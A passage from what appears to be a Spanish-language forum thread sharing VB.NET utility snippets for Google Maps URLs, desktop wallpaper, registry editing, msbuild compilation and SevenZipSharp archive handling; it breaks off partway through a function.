'
' Examples :
'
' MsgBox(Get_Google_Maps_URL("Valencia", "España")) ' Result: "http://Maps.google.com/?q=Valencia,+España,+"
' WebBrowser1.Navigate(Get_Google_Maps_URL("Valencia", "Spain"))
Private Function Get_Google_Maps_URL(Optional ByVal City As String = Nothing, _
Optional ByVal State As String = Nothing, _
Optional ByVal Street As String = Nothing, _
Optional ByVal Zipcode As String = Nothing) As String
Dim queryAddress As New System.Text.StringBuilder()
queryAddress.Append("http://Maps.google.com/?q=")
' Build street part of query string
If Street IsNot Nothing Then
Street = Street.Replace(" ", "+")
queryAddress.Append(Street + "," & "+")
End If
' Build city part of query string
If City IsNot Nothing Then
City = City.Replace(" ", "+")
queryAddress.Append(City + "," & "+")
End If
' Build state part of query string
If State IsNot Nothing Then
State = State.Replace(" ", "+")
queryAddress.Append(State + "," & "+")
End If
' Build zip code part of query string
If Zipcode IsNot Nothing Then
queryAddress.Append(Zipcode)
End If
' Return the URL
Return queryAddress.ToString
End Function
#End Region
Devuelve la URL de una localización de Google Maps (Por coordenadas)
#Region " Get Google Maps Coordinates URL "
' [ Get Google Maps Coordinates URL Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744)) ' Result: http://Maps.google.com/?q=39.4767%2C0.3744
' webBrowser1.Navigate(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744))
Private Function Get_Google_Maps_Coordinates_URL(ByVal Latitude As Double, ByVal Longitude As Double) As String
Dim queryAddress As New System.Text.StringBuilder()
queryAddress.Append("http://Maps.google.com/?q=")
' Build latitude part of query string
queryAddress.Append(Latitude.ToString.Replace(",", ".") + "%2C")
' Build longitude part of query string
queryAddress.Append(Longitude.ToString.Replace(",", "."))
' Return the URL
Return queryAddress.ToString
End Function
Crear un archivo Dummy
#Region " Make Dummy File "
' [ Make Dummy File Function ]
'
' Examples :
' Make_Dummy_File("C:\Test.dummy", 100) ' Creates a dummy file of 100 bytes
Private Function Make_Dummy_File(ByVal File As String, ByVal Size As Int64) As Boolean
Try
Using DummyFile As New IO.FileStream(File, IO.FileMode.Create)
DummyFile.SetLength(Size)
End Using
Catch ex As Exception
' MsgBox(ex.Message)
Return False
End Try
Return True
End Function
#End Region
Cambiar el fondo de pantalla
#Region " Set Desktop Wallpaper "
' [ Set Desktop Wallpaper Function ]
'
' Examples :
' MsgBox(Wallpaper.SupportFitFillWallpaperStyles)
' MsgBox(Wallpaper.SupportJpgAsWallpaper)
' Set_Desktop_Wallpaper("C:\Image.jpg", WallpaperStyle.Fill)
Private Function Set_Desktop_Wallpaper(ByVal Image As String, ByVal Style As WallpaperStyle) As Boolean
Try
If Wallpaper.SupportFitFillWallpaperStyles AndAlso Wallpaper.SupportJpgAsWallpaper Then
Wallpaper.SetDesktopWallpaper(Image, Style)
End If
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
Return True
End Function
' Wallpaper.vb Class
#Region " Wallpaper Class "
'*********************************** Module Header ***********************************'
' Module Name: Wallpaper.vb
' Project: VBSetDesktopWallpaper
' Copyright (c) Microsoft Corporation.
'
' Wallpaper.SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle)
'
' This is the key method that sets the desktop wallpaper. The method body is composed
' of configuring the wallpaper style in the registry and setting the wallpaper with
' SystemParametersInfo.
'
'*************************************************************************************'
Imports Microsoft.Win32
Imports System.Environment
Imports System.Drawing.Imaging
Imports System.ComponentModel
Imports System.Runtime.InteropServices
Public Class Wallpaper
''' <summary>
''' Determine if .jpg files are supported as wallpaper in the current
''' operating system. The .jpg wallpapers are not supported before
''' Windows Vista.
''' </summary>
Public Shared ReadOnly Property SupportJpgAsWallpaper()
Get
Return (Environment.OSVersion.Version >= New Version(6, 0))
End Get
End Property
''' <summary>
''' Determine if the fit and fill wallpaper styles are supported in the
''' current operating system. The styles are not supported before
''' Windows 7.
''' </summary>
Public Shared ReadOnly Property SupportFitFillWallpaperStyles()
Get
Return (Environment.OSVersion.Version >= New Version(6, 1))
End Get
End Property
''' <summary>
''' Set the desktop wallpaper.
''' </summary>
''' <param name="path">Path of the wallpaper</param>
''' <param name="style">Wallpaper style</param>
Public Shared Sub SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle)
' Set the wallpaper style and tile.
' Two registry values are set in the Control Panel\Desktop key.
' TileWallpaper
' 0: The wallpaper picture should not be tiled
' 1: The wallpaper picture should be tiled
' WallpaperStyle
' 0: The image is centered if TileWallpaper=0 or tiled if TileWallpaper=1
' 2: The image is stretched to fill the screen
' 6: The image is resized to fit the screen while maintaining the aspect
' ratio. (Windows 7 and later)
' 10: The image is resized and cropped to fill the screen while
' maintaining the aspect ratio. (Windows 7 and later)
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True)
Select Case style
Case WallpaperStyle.Tile
key.SetValue("WallpaperStyle", "0")
key.SetValue("TileWallpaper", "1")
Exit Select
Case WallpaperStyle.Center
key.SetValue("WallpaperStyle", "0")
key.SetValue("TileWallpaper", "0")
Exit Select
Case WallpaperStyle.Stretch
key.SetValue("WallpaperStyle", "2")
key.SetValue("TileWallpaper", "0")
Exit Select
Case WallpaperStyle.Fit ' (Windows 7 and later)
key.SetValue("WallpaperStyle", "6")
key.SetValue("TileWallpaper", "0")
Exit Select
Case WallpaperStyle.Fill ' (Windows 7 and later)
key.SetValue("WallpaperStyle", "10")
key.SetValue("TileWallpaper", "0")
Exit Select
End Select
key.Close()
' If the specified image file is neither .bmp nor .jpg, - or -
' if the image is a .jpg file but the operating system is Windows Server
' 2003 or Windows XP/2000 that does not support .jpg as the desktop
' wallpaper, convert the image file to .bmp and save it to the
' %appdata%\Microsoft\Windows\Themes folder.
Dim ext As String = System.IO.Path.GetExtension(path)
If ((Not ext.Equals(".bmp", StringComparison.OrdinalIgnoreCase) AndAlso _
Not ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase)) _
OrElse _
(ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase) AndAlso _
(Not SupportJpgAsWallpaper))) Then
Using image As Image = image.FromFile(path)
path = String.Format("{0}\Microsoft\Windows\Themes\{1}.bmp", _
Environment.GetFolderPath(SpecialFolder.ApplicationData), _
System.IO.Path.GetFileNameWithoutExtension(path))
image.Save(path, ImageFormat.Bmp)
End Using
End If
' Set the desktop wallpapaer by calling the Win32 API SystemParametersInfo
' with the SPI_SETDESKWALLPAPER desktop parameter. The changes should
' persist, and also be immediately visible.
If Not Wallpaper.SystemParametersInfo(20, 0, path, 3) Then
Throw New Win32Exception
End If
End Sub
<DllImport("user32.dll", CharSet:=CharSet.Unicode, SetLastError:=True)> _
Private Shared Function SystemParametersInfo( _
ByVal uiAction As UInt32, _
ByVal uiParam As UInt32, _
ByVal pvParam As String, _
ByVal fWinIni As UInt32) _
As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
Private Const SPI_SETDESKWALLPAPER As UInt32 = 20
Private Const SPIF_SENDWININICHANGE As UInt32 = 2
Private Const SPIF_UPDATEINIFILE As UInt32 = 1
End Class
Public Enum WallpaperStyle
Tile
Center
Stretch
Fit
Fill
End Enum
#End Region
#End Region
Centrar el Form a la pantalla del escritorio
#Region " Center Form To Desktop "
' [ Center Form To Desktop ]
'
' // By Elektro H@cker
'
' Examples :
' Center_Form_To_Desktop(Me)
Private Sub Center_Form_To_Desktop(ByVal Form As Form)
Dim Desktop_RES As System.Windows.Forms.Screen = System.Windows.Forms.Screen.PrimaryScreen
Me.Location = New Point((Desktop_RES.Bounds.Width - Form.Width) / 2, (Desktop_RES.Bounds.Height - Form.Height) / 2)
End Sub
#End Region
Comprobar si ya hay abierta una instancia de la aplicación:
#Region " My Application Is Already Running "
' [ My Application Is Already Running Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(My_Application_Is_Already_Running)
' If My_Application_Is_Already_Running() Then Application.Exit()
Public Declare Function CreateMutexA Lib "Kernel32.dll" (ByVal lpSecurityAttributes As Integer, ByVal bInitialOwner As Boolean, ByVal lpName As String) As Integer
Public Declare Function GetLastError Lib "Kernel32.dll" () As Integer
Public Function My_Application_Is_Already_Running() As Boolean
'Attempt to create defualt mutex owned by process
CreateMutexA(0, True, Process.GetCurrentProcess().MainModule.ModuleName.ToString)
Return (GetLastError() = 183) ' 183 = ERROR_ALREADY_EXISTS
End Function
#End Region
Los snippets que posteé hace tiempo para hacer modificaciones en el registro, los he optimizado para simplificar su uso y evitar errores de sintaxis.
PD: Ahora permite añadir datos binários.
#Region " Reg Create Key "
' [ Reg Create Key Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' Reg_Create_Key("HKCU\Software\MyProgram") ' Creates "HKCU\Software\MyProgram"
' Reg_Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
Public Function Reg_Create_Key(ByVal RegKey As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
Dim KeyPath As String = Nothing
' Gets the RootKey
Select Case RegKey.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
Case Else : Return False
End Select
' Gets the KeyPath
For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
Try
RootKey.CreateSubKey(KeyPath)
RootKey.Close()
Return True
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
#End Region
#Region " Reg Delete Key "
' [ Reg Delete Key Function ]
'
' // By Elektro H@cker
'
' Examples :
' Reg_Delete_Key("HKLM\Software\7-zip") ' Deletes the "7-zip" tree including subkeys
' Reg_Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
Public Function Reg_Delete_Key(ByVal RegKey As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
Dim KeyPath As String = Nothing
' Gets the RootKey
Select Case RegKey.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
Case Else : Return False
End Select
' Gets the KeyPath
For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
Try
RootKey.DeleteSubKeyTree(KeyPath)
RootKey.Close()
Return True
Catch ex As Exception
' Throw New Exception(ex.Message)
Return False
End Try
End Function
#End Region
#Region " Reg Delete Value "
' [ Reg Delete Value Function ]
'
' // By Elektro H@cker
'
' Examples :
' Reg_Delete_Value("HKCU\Software\7-Zip", "Lang") ' Deletes "Lang" Value
' Reg_Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
Public Function Reg_Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
Dim KeyPath As String = Nothing
' Gets the RootKey
Select Case RegKey.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
Case Else : Return False
End Select
' Gets the KeyPath
For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
Try
RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue)
RootKey.Close()
Return True
Catch ex As Exception
' Throw New Exception(ex.Message)
Return False
End Try
End Function
#End Region
#Region " Reg Set Value "
' [ Reg Set Value Function ]
'
' // By Elektro H@cker
'
' Examples :
' Reg_Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
' Reg_Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
Public Function Reg_Set_Value(ByVal RegKey As String, _
ByVal RegValue As String, _
ByVal RegData As String, _
ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean
Dim RootKey As String = Nothing
Dim KeyPath As String = Nothing
' Gets the RootKey
Select Case RegKey.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = "HKEY_CLASSES_ROOT"""
Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = "HKEY_CURRENT_CONFIG"
Case "HKCU", "HKEY_CURRENT_USER" : RootKey = "HKEY_CURRENT_USER"
Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = "HKEY_LOCAL_MACHINE"
Case "HKEY_PERFORMANCE_DATA" : RootKey = "HKEY_PERFORMANCE_DATA"
Case Else : Return False
End Select
' Gets the KeyPath
For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
KeyPath = RootKey & "\" & KeyPath
Try
If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then
My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary)
Else
My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType)
End If
Return True
Catch ex As Exception
' Throw New Exception(ex.Message)
Return False
End Try
End Function
#End Region
Una class para compilar otros proyectos en tiempo de ejecución.
#Region " FrameWork Compiler "
' [ FrameWork Compiler Function ]
'
' // By Elektro H@cker
'
' Examples :
' FrameWorkCompiler.FW_Compile("C:\Projects\Project.vbj", FrameWorkCompiler.CompilerVersion.FW_3_5_x86)
' FrameWorkCompiler.FW_Compile("C:\Projects\Project.sln", FrameWorkCompiler.CompilerVersion.FW_4_0_x64)
#Region " FrameWork Compiler Class "
Public Class FrameWorkCompiler
Shared FrameWork_Location As String = Nothing ' Directory location of selected FrameWork version
''' <summary>
''' The FrameWork compiler version.
''' </summary>
Public Enum CompilerVersion
FW_1_0_x86
FW_1_1_x86
FW_2_0_x86
FW_3_0_x86
FW_3_5_x86
FW_4_0_x86
FW_2_0_x64
FW_3_0_x64
FW_3_5_x64
FW_4_0_x64
End Enum
''' <summary>
''' Compile a .NET project/solution.
''' </summary>
Public Shared Function FW_Compile(ByVal SolutionFile As String, ByVal FrameWorkCompiler As CompilerVersion) As Boolean
Select Case FrameWorkCompiler
Case CompilerVersion.FW_1_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.0.3705")
Case CompilerVersion.FW_1_1_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.1.4322")
Case CompilerVersion.FW_2_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v2.0.50727")
Case CompilerVersion.FW_3_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.0")
Case CompilerVersion.FW_3_5_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.5")
Case CompilerVersion.FW_4_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v4.0.30319")
Case CompilerVersion.FW_2_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v2.0.50727")
Case CompilerVersion.FW_3_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.0")
Case CompilerVersion.FW_3_5_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.5")
Case CompilerVersion.FW_4_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v4.0.30319")
Case Else : Return False
End Select
Try
Dim FWCompiler As New Process()
Dim FWCompiler_Info As New ProcessStartInfo()
FWCompiler_Info.FileName = IO.Path.Combine(FrameWork_Location, "msbuild.exe")
FWCompiler_Info.Arguments = "/nologo /noautoresponse /verbosity:quiet " & """" & SolutionFile & """"
FWCompiler_Info.UseShellExecute = False
FWCompiler_Info.CreateNoWindow = True
FWCompiler_Info.WindowStyle = ProcessWindowStyle.Hidden
FWCompiler_Info.RedirectStandardOutput = True
FWCompiler.StartInfo = FWCompiler_Info
FWCompiler.Start()
FWCompiler.WaitForExit()
' Dim ErrorOutput As String = FWCompiler.StandardOutput.ReadToEnd()
' MsgBox(ErrorOutput)
If FWCompiler.ExitCode <> 0 Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
Return False
End Try
End Function
End Class
#End Region
#End Region
Mother of god, que bueno ese último. Seguro que se me ocurre alguna aplicación...
(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg)
Una class para usar SevenZipSharp de forma sencilla para "comprimir/descomprimir/Crear un SFX/obtener información de zips" y mostrando el progreso de las operaciones.
#Region " SevenZipSharp Class "
' [ SevenZipSharp Functions ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "SevenZipSharp.dll".
' 2. Add the "7z.dll" or "7z64.dll" files to the project.
' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project for SFX compression.
'
' Examples :
'
' --------
' Extract:
' --------
' SevenZipSharp.Extract("C:\File.7zip") ' Will be extracted in the same dir.
' SevenZipSharp.Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\".
' SevenZipSharp.Extract("C:\File.7zip", , "Password") ' Will be extracted with the given password.
'
' --------
' Compress:
' ---------
' SevenZipSharp.Compress("C:\File.txt") ' File will be compressed in the same dir.
' SevenZipSharp.Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Compressed\".
' SevenZipSharp.Compress("C:\Folder\", , , , , , "Password") ' Folder will be compressed with the given password.
' SevenZipSharp.Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra)
'
' --------
' Compress SFX:
' -------------
' SevenZipSharp.Compress_SFX("C:\File.txt") ' File will be compressed in the same dir.
' SevenZipSharp.Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\".
' SevenZipSharp.Compress_SFX("C:\Folder\", , , , , , , "Password") ' Folder will be compressed with the given password.
' SevenZipSharp.Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast)
'
' --------
' File Info:
' ----------
' MsgBox(SevenZipSharp.FileInfo("C:\Test.7z", SevenZip_Info.Format))
' For Each FileName In SevenZipSharp.FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next
'
' ------------
' * Progress *
' ------------
' Dim WithEvents SevenZipProgress_Timer As New Timer
' Private Sub SevenZipProgress_Timer_Tick(sender As Object, e As EventArgs) Handles SevenZipProgress_Timer.Tick
' ProgressBar1.Value = SevenZipSharp.SevenZip_Current_Progress
' If ProgressBar1.Value = 100 Then
' ' ...
' End If
' End Sub
Imports SevenZip
Public Class SevenZipSharp
Public Shared SevenZipDLL As String = "7z.dll"
Public Shared SevenZip_Current_Progress As Short = 0
#Region " SevenZipSharp Extract "
Public Shared Function Extract(ByVal InputFile As String, _
Optional ByVal OutputDir As String = Nothing, _
Optional ByVal Password As String = "Nothing") As Boolean
SevenZip_Current_Progress = 0
Try
' Set library path
SevenZipExtractor.SetLibraryPath(SevenZipDLL)
' Create extractor and specify the file to extract
Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password)
' Specify the output path where the files will be extracted
If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
' Add Progress Handler
AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress
' Check for password matches
If Extractor.Check() Then
' Start the extraction
Extractor.BeginExtractArchive(OutputDir)
Else
Return False ' Bad password
End If
Return True ' File extracted
Extractor.Dispose()
Catch ex As Exception
'Return False ' File not extracted
Throw New Exception(ex.Message)
End Try
End Function
Private Shared Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
SevenZip_Current_Progress = e.PercentDone
' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
End Sub
#End Region
#Region " SevenZipSharp Compress "
Public Shared Function Compress(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _
Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
Optional ByVal VolumeSize As Long = Nothing, _
Optional ByVal Password As String = Nothing) As Boolean
SevenZip_Current_Progress = 0
Try
' Set library path
SevenZipCompressor.SetLibraryPath(SevenZipDLL)
' Create compressor
Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
Compressor.CompressionMethod = CompressionMethod ' Compression method
Compressor.ArchiveFormat = Format ' Compression file format
Compressor.CompressionMode = CompressionMode ' Append files to compressed file or overwrite the compressed file.
Compressor.DirectoryStructure = True ' Preserve the directory structure.
Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
If Not VolumeSize = Nothing Then
If Format = OutArchiveFormat.SevenZip Then Compressor.VolumeSize = VolumeSize _
Else Throw New Exception("Multi volume option is only avaliable for 7zip format")
End If
' Get File extension
Dim CompressedFileExtension As String = Nothing
Select Case Compressor.ArchiveFormat
Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z"
Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz"
Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip"
Case OutArchiveFormat.Tar : CompressedFileExtension = ".tar"
Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz"
Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip"
End Select
' Add Progress Handler
AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
' Removes the end slash ("\") if given for a directory
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
If Not Password Is Nothing Then
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
Else
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
End If
ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
If Not Password Is Nothing Then
Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
Else
Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
End If
End If
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
Private Shared Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
SevenZip_Current_Progress = e.PercentDone
' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
End Sub
#End Region
#Region " SevenZipSharp Compress SFX "
Enum SevenZipSharp_SFX_Module
Normal
Console
End Enum
Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
Optional ByVal Password As String = Nothing) As Boolean
SevenZip_Current_Progress = 0
' Create the .7z file
Try
' Set library path
SevenZipCompressor.SetLibraryPath(SevenZipDLL)
' Create compressor
Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method
Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format
Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file.
Compressor.DirectoryStructure = True ' Preserve the directory structure.
Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
' Add Progress Handler
AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
' Removes the end slash ("\") if given for a directory
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\")
Else
OutputFileName = OutputFileName & ".tmp"
End If
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
If Not Password Is Nothing Then
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
Else
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
End If
ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
If Not Password Is Nothing Then
Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
Else
Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
End If
End If
' Create the SFX file
' Create the SFX compressor
Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default)
' Set SFX Module path
If SFX_Module = SevenZipSharp_SFX_Module.Normal Then
compressorSFX.ModuleFileName = ".\7z.sfx"
ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then
compressorSFX.ModuleFileName = ".\7zCon.sfx"
End If
' Start the compression
' Generate the OutputFileName if any is given.
Dim SFXOutputFileName As String
If OutputFileName.ToLower.EndsWith(".exe.tmp") Then
SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4)
Else
SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe"
End If
compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName)
' Delete the 7z tmp file
Try : IO.File.Delete(OutputFileName) : Catch : End Try
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
Private Shared Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
SevenZip_Current_Progress = e.PercentDone
' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
End Sub
#End Region
#Region " SevenZipSharp FileInfo "
Enum File_Info
FileName
Format
Size_In_Bytes
Internal_Files_FileNames
Total_Internal_Files
End Enum
Public Shared Function FileInfo(ByVal InputFile As String, ByVal Info As File_Info)
Try
' Set library path
